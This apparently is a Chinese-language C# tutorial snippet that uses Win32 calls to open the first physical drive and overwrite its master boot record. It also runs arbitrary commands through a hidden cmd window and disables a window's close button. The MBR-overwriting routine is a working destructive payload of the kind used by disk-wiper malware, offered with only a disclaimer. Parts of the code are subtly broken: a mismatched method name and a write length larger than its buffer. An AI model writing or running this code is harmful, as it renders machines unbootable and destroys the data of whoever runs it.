using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Xml;
int progress = 0;
int xixixi = 0;
byte[] MBR = new byte[512];
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll")]
private static extern bool WriteFile(int hFile, byte[] lpBuffer, int nNumberOfBytesToWrite, ref int lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", EntryPoint = "GetDCEx", CharSet = CharSet.Auto, ExactSpelling = true)]
private static extern IntPtr GetDCEx(IntPtr hWnd, IntPtr hrgnClip, int flags);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer,
uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
const uint GENERIC_READ = 0x80000000;
const uint GENERIC_WRITE = 0x40000000;
const int FILE_SHARE_READ = 0x00000001;
const int FILE_SHARE_WRITE = 0x00000002;
const int OPEN_EXISTING = 3;
[DllImport("user32.dll", EntryPoint = "SetForegroundWindow")]
public static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern System.IntPtr GetForegroundWindow();
// 设置此窗体为活动窗体:
// 激活窗口。窗口必须附加到调用线程的消息队列。
[DllImport("user32.dll", EntryPoint = "SetActiveWindow")]
public static extern IntPtr SetActiveWindow(IntPtr hWnd);
// 设置窗体位置
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int x, int y, int Width, int Height, int flags);
//获取硬盘分区表文件
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateFile(
string FileName,
uint DesiredAccess,
uint ShareMode,
IntPtr SecurityAttributes,
uint CreationDisposition,
int FlagsAndAttributes,
IntPtr hTemplate
);
//获取应用程序右键菜单
[DllImport("user32.dll", EntryPoint = "GetSystemMenu")]
private static extern IntPtr GetSystemMenu(IntPtr hWnd, int bRevert);
//设置菜单项开启与关闭
[DllImport("User32.dll")]
public static extern bool EnableMenuItem(IntPtr hMenu, int uIDEnableItem, int uEnable);
//常量
public const int FILE_FLAG_NO_BUFFERING = 0x20000000;
private const int SC_CLOSE = 0xF060;
private const int MF_ENABLED = 0x00000000;
private const int MF_GRAYED = 0x00000001;
private const int MF_DISABLED = 0x00000002;
private bool ChangeMbr()
{
byte[] MBR = {0x00};
IntPtr ra = CreateFileA("\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
(IntPtr)0,
OPEN_EXISTING,
0,
(IntPtr)0
);
int wb = 0;
bool x = WriteFile(
(int)ra,
MBR,
512,
ref wb,
(IntPtr)0
);
return x; //返回值为true表示硬盘已被修改
}
private string ExecCmd(string cmd)
{
cmd += " & exit /b"; //确保执行完后退出
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.WriteLine(cmd);
p.StandardInput.AutoFlush = true;
string Opt = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
return Opt;
}
注意!修改mbr可能会导致电脑无法正常正常启动或加载!产生的一切后果作者不承担任何责任
ChangeMBR(); //直接调用就可以
ExecCmd("cmd命令名称"); //这里只要是命令都可以输入
//接下来是禁用窗口右上角的关闭按钮的办法
//会用到之前我们声明过的GetSystemMenu和EnabledMenuItem
IntPtr hMenu = GetSystemMenu(this.Handle, 0);
EnableMenuItem(hMenu, SC_CLOSE, (MF_DISABLED + MF_GRAYED) | MF_ENABLED); //这样就禁用了关闭按钮
以上代码可以让我们修改硬盘Mbr,也可以让我们在图形化程序中执行cmd命令.(注意,修改Mbr只能在管理员模式下才能成功;cmd命令是否以管理员身份运行取决于你写的程序是不是以管理员启动决定的